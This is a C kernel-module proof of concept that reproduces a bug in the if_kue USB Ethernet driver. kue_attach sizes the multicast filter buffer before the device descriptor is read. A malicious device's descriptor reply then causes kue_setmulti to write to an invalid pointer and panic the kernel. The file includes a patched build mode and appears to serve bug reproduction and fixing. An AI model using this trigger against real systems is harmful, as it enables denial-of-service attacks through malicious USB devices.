DF-2340 / kue_setmulti_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 | /* * DF-2340 PoC harness โ if_kue.c: kue_setmulti() writes multicast filter * entries through sc->sc_mcfilters, which kue_attach() allocated BEFORE * the ethernet descriptor was fetched. * * TARGET (stock sys/bus/u4b/net/if_kue.c): * * 488: sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, * 489: M_USBDEV, M_WAITOK); * 490: if (sc->sc_mcfilters == NULL) { <- dead guard * * KUE_MCFILTCNT(sc) is UGETW(sc->sc_desc.kue_mcastfilt) & 0x7FFF * (if_kuereg.h:69). At if_kue.c:488 the descriptor has NOT been read * yet: it is fetched much later, in kue_attach_post() (if_kue.c:439-440, * "read ethernet descriptor"), which uether_ifattach() only queues as an * async post-attach task (usb_ethernet.c:182 -> :192-203 -> :202 calls * ue_methods->ue_attach_post). The newbus softc is zero-initialized, * so KUE_MCFILTCNT(sc) == 0 and the allocation is * * kmalloc(0, M_USBDEV, M_WAITOK) * -> ZERO_LENGTH_PTR == (void *)-8 (kern_slaballoc.c:193,885-890) * * -8 is not NULL, so the :490 guard does not fire. kfree() treats the * sentinel as a no-op (kern_slaballoc.c:1253), so detach is "safe" and * the landmine stays armed. * * When the device later answers GET_ETHER_DESCRIPTOR with * kue_mcastfilt != 0 (fully device-controlled 16-byte reply; comment in * if_kue.c:50-52: "the exact size of the filter can depend on the * firmware"), every SIOCADDMULTI/SIOCDELMULTI (uether_ifioctl, * usb_ethernet.c:497-502) queues ue_setmulti_task which calls the * driver's kue_setmulti() under the ue lock: * * 373: TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) * 381: if (i == KUE_MCFILTCNT(sc)) <- NOW the device value * 383: memcpy(KUE_MCFILT(sc, i), <- &sc_mcfilters[i*6] * 384: LLADDR(...), ETHER_ADDR_LEN); * * The bound is re-evaluated from the *now-populated* descriptor while the * buffer was sized for the *zero* one, so the first membership entry * memcpy()s 6 bytes to (char *)-8 + 0 == 0xfffffffffffffff8 โ the top of * the kernel VA space, unmapped -> deterministic page fault (panic). * * This harness compiles the VERBATIM production driver into the KLD * (#include <bus/u4b/net/if_kue.c> below โ nothing in it is modified) * and then: * * 1. reconstructs the exact post-attach softc state (zeroed softc = * newbus M_ZERO softc; lockinit per if_kue.c:478; ue_sc per :495; * ue_tq left in the usb_proc_drain() state (up_gone=1, * usb_process.c:422) so the trailing kue_ctl/kue_setword control * requests โ which the fault precedes โ return USB_ERR_IOERROR * harmlessly, exactly as they do while a real device is detaching), * 2. replays if_kue.c:488-489 at its TRUE position in the sequence โ * while sc_desc is still all-zero (the allocation the driver makes), * 3. replays the 16-byte device-controlled GET_ETHER_DESCRIPTOR reply * landing in sc_desc (if_kue.c:439-440), * 4. builds the ifnet state that uether_ifattach(ue) left behind โ * the embedded arpcom ifnet with ONE AF_LINK multicast membership, * byte-identical to what if_addmulti_serialized() (sys/net/if.c: * 2667-2720) leaves in if_multiaddrs after SIOCADDMULTI of * 01:00:5e:00:00:01 (or the automatic IPv6 all-nodes join), * 5. takes the ue lock (production: ue_setmulti_task runs under * UE_LOCK, usb_ethernet.c:398-405) and calls the VERBATIM static * kue_setmulti(&sc->sc_ue). * * Expected on stock /usr/src: Fatal trap 12, fault VA 0xfffffffffffffff8. * Expected on fixed /usr/src: "SURVIVED kue_setmulti()" + clean unload. * (built with -DDF2340_FIXED, the harness allocates in the PATCHED order * โ after the descriptor reply โ which is the entire content of the fix). * * The only non-production code is the attach-frame plumbing around the * driver functions (kue_attach/kue_setmulti are static and need a real * KL5KUSB101B USB device to be reached through newbus); every byte the * PoC copies, allocates and faults on follows the production call chain. */ #include <sys/stdint.h> #include <sys/param.h> #include <sys/queue.h> #include <sys/types.h> #include <sys/systm.h> #include <sys/socket.h> #include <sys/kernel.h> #include <sys/bus.h> #include <sys/module.h> #include <sys/lock.h> #include <sys/condvar.h> #include <sys/sysctl.h> #include <sys/unistd.h> #include <sys/callout.h> #include <sys/malloc.h> #include <sys/caps.h> #include <net/if.h> #include <net/if_var.h> #include <net/if_dl.h> #include <net/ethernet.h> #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usb_process.h> /* if_kuereg.h / usb_ethernet.h have no include guards โ they are pulled * in (once) by the verbatim driver include below. */ /* kern_slaballoc.c:193 โ not exported in any public header */ #define DF_ZERO_LENGTH_PTR ((void *)-8) /* ------------------------------------------------------------------ */ /* THE VERBATIM PRODUCTION DRIVER โ compiled from /usr/src/sys, */ /* unmodified. kue_setmulti/kue_ctl/kue_setword/kue_do_request below */ /* are the driver's own static functions. */ /* ------------------------------------------------------------------ */ #include <bus/u4b/net/if_kue.c> /* * The 16-byte GET_ETHER_DESCRIPTOR reply an evil KL5KUSB101B (or a * usbredir peer) returns for the vendor control request issued at * if_kue.c:439-440. Everything in it is device-controlled; we set * kue_mcastfilt = 0x0002 so KUE_MCFILTCNT(sc) == 2 after arrival. */ static void df2340_device_descriptor_reply(struct kue_softc *sc) { memset(&sc->sc_desc, 0, sizeof(sc->sc_desc)); sc->sc_desc.kue_len = 16; /* sizeof(kue_ether_desc) */ memcpy(sc->sc_desc.kue_macaddr, "\x02\x00\xde\xad\xbe\xef", ETHER_ADDR_LEN); sc->sc_desc.kue_mcastfilt[0] = 0x02; /* LE16 0x0002 */ sc->sc_desc.kue_mcastfilt[1] = 0x00; } /* * One AF_LINK multicast membership, exactly as if_addmulti_serialized() * (sys/net/if.c:2688-2720) leaves it: kmalloc'd ifmultiaddr + duplicated * sockaddr_dl, ifma_refcount=1, TAILQ_INSERT'ed into ifp->if_multiaddrs. * kue_setmulti()'s TAILQ_FOREACH sees precisely this. */ static void df2340_add_membership(struct ifnet *ifp, const uint8_t mac[ETHER_ADDR_LEN]) { struct ifmultiaddr *ifma; struct sockaddr_dl *sdl; sdl = kmalloc(sizeof(*sdl), M_IFMADDR, M_WAITOK | M_ZERO); sdl->sdl_len = sizeof(*sdl); sdl->sdl_family = AF_LINK; sdl->sdl_index = ifp->if_index; sdl->sdl_type = IFT_ETHER; sdl->sdl_nlen = 0; /* LLADDR(sdl) == sdl_data */ sdl->sdl_alen = ETHER_ADDR_LEN; memcpy(LLADDR(sdl), mac, ETHER_ADDR_LEN); ifma = kmalloc(sizeof(*ifma), M_IFMADDR, M_WAITOK | M_ZERO); ifma->ifma_addr = (struct sockaddr *)sdl; ifma->ifma_ifp = ifp; ifma->ifma_refcount = 1; TAILQ_INSERT_TAIL(&ifp->if_multiaddrs, ifma, ifma_link); } static int kue_poc_modevent(module_t mod, int type, void *arg) { struct kue_softc *sc; struct ifnet *ifp; struct ifmultiaddr *ifma; switch (type) { case MOD_LOAD: /* ------------------------------------------------------------------ * (1) post-kue_attach softc: newbus softcs are M_ZERO'ed; * if_kue.c:478 lockinit is the only init before :488. * ------------------------------------------------------------------ */ sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO); lockinit(&sc->sc_lock, "kue_poc", 0, LK_CANRECURSE); sc->sc_ue.ue_sc = sc; /* if_kue.c:495 */ /* * usb_proc_drain() state (usb_process.c:422): makes * uether_do_request() -> usbd_do_request_proc() return * USB_ERR_IOERROR without touching ue_udev โ identical to * the error path a real device takes while detaching. */ sc->sc_ue.ue_tq.up_gone = 1; /* ------------------------------------------------------------------ * (2)+(3) THE ORDERING BUG. Stock driver (if_kue.c:488-489) * allocates HERE, while sc_desc is still all-zero: * kmalloc(0 * 6 == 0, M_USBDEV, M_WAITOK) -> ZERO_LENGTH_PTR. * Fixed driver allocates only AFTER (3). Build with * -DDF2340_FIXED to replay the patched order. * ------------------------------------------------------------------ */ #ifndef DF2340_FIXED sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, M_USBDEV, M_WAITOK); kprintf("kue_poc: if_kue.c:488 with sc_desc all-zero: " "kmalloc(0*%d) -> sc_mcfilters=%p (ZERO_LENGTH_PTR=%p, " "NULL-guard at :490 %s)\n", ETHER_ADDR_LEN, sc->sc_mcfilters, DF_ZERO_LENGTH_PTR, sc->sc_mcfilters == DF_ZERO_LENGTH_PTR ? "DEAD" : "???"); if (sc->sc_mcfilters == NULL) { /* if_kue.c:490 */ kprintf("kue_poc: kmalloc returned NULL (?!) โ abort\n"); kfree(sc, M_TEMP); return (ENXIO); } df2340_device_descriptor_reply(sc); /* if_kue.c:439-440 */ #else df2340_device_descriptor_reply(sc); /* if_kue.c:439-440 */ sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, M_USBDEV, M_WAITOK | M_ZERO); /* patched kue_attach_post */ kprintf("kue_poc: PATCHED order: descriptor first " "(KUE_MCFILTCNT=%d), then kmalloc(%d) -> sc_mcfilters=%p\n", KUE_MCFILTCNT(sc), KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, sc->sc_mcfilters); #endif kprintf("kue_poc: descriptor arrived: KUE_MCFILTCNT(sc)=%d " "(was 0 at allocation time in the stock driver)\n", KUE_MCFILTCNT(sc)); /* ------------------------------------------------------------------ * (4) post-uether_ifattach ifnet: the embedded arpcom ifnet * (uether_getifp, usb_ethernet.c:134-137) with one * AF_LINK membership (01:00:5e:00:00:01). * ------------------------------------------------------------------ */ ifp = uether_getifp(&sc->sc_ue); TAILQ_INIT(&ifp->if_multiaddrs); ifp->if_flags = IFF_UP | IFF_RUNNING; /* no ALLMULTI/PROMISC */ df2340_add_membership(ifp, (const uint8_t []){0x01,0x00,0x5e,0x00,0x00,0x01}); /* ------------------------------------------------------------------ * (5) production entry: ue_setmulti_task holds UE_LOCK * (usb_ethernet.c:61,398-405) -> kue_setmulti(). * ------------------------------------------------------------------ */ kprintf("kue_poc: entering VERBATIM kue_setmulti() " "(if_kue.c:355-398): memcpy(KUE_MCFILT(sc,0)=%p, ..., 6)\n", (void *)KUE_MCFILT(sc, 0)); KUE_LOCK(sc); kue_setmulti(&sc->sc_ue); KUE_UNLOCK(sc); kprintf("kue_poc: SURVIVED kue_setmulti() โ buffer was " "properly sized (fix in effect?)\n"); /* clean up (only reachable in the fixed/SURVIVED case) */ while ((ifma = TAILQ_FIRST(&ifp->if_multiaddrs)) != NULL) { TAILQ_REMOVE(&ifp->if_multiaddrs, ifma, ifma_link); kfree(ifma->ifma_addr, M_IFMADDR); kfree(ifma, M_IFMADDR); } kfree(sc->sc_mcfilters, M_USBDEV); lockuninit(&sc->sc_lock); kfree(sc, M_TEMP); return (0); default: return (0); } } static moduledata_t kue_poc_mod = { "kue_poc", kue_poc_modevent, NULL }; /* * NOTE: including if_kue.c also registers the real "kue" driver module * (DRIVER_MODULE(kue, uhub, ...) โ same as kldload-ing if_kue.ko; no * kue device is present so its probe never matches). */ DECLARE_MODULE(kue_poc, kue_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(kue_poc, uether, 1, 1, 1); |